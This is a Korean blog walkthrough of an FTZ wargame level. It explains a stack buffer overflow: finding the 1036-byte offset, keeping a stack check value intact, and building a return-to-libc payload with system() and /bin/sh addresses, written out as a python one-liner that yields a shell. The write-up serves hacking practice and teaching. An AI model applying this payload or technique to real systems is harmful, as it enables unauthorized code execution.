소스 힌트다.


변수가 두개 설정 되어있다.


버퍼의 크기는 0x418 즉 1048바이트로 설정되어있다.


long i가 먼저 선언되었으며 스택의 높은주소쪽에 위치할 것이다.

 ebp-12에 0x1234567을 mov하는것을 볼 수 있다. 버퍼를 넘치게해 ebp-12에 오버플로우를 일으키면 된다.


일단 1048바이트 뒤에 AAAA를 주어 확인해보니 ebp에 AAAA가 위치한다.

ebp-12에 0x1234567이 들어가야 하니까 바이트 수를 좀 줄여서 확인해봐야겠다.


1036바이트 뒤에 AAAA를 주니 ebp-12에 값이 들어갔다.


이제 RTL 페이로드를 작성해야겠다.


bin/sh의 주소를 구했다.


system함수의 주소를 구했다.


Payload

NOP sled [1036바이트] + 0x1234567 [4바이트] + NOP sled [12바이트] + SYSTEM 함수 주소 [4바이트] + NOP sled [4바이트] + /bin/sh 주소 [4바이트]

`python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`


쉘을 얻었다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level15@ftz  (0) 2017.11.23
[FTZ] level14@ftz  (0) 2017.11.21
[FTZ] level12@ftz  (0) 2017.11.10
[FTZ] level11@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10

+ Recent posts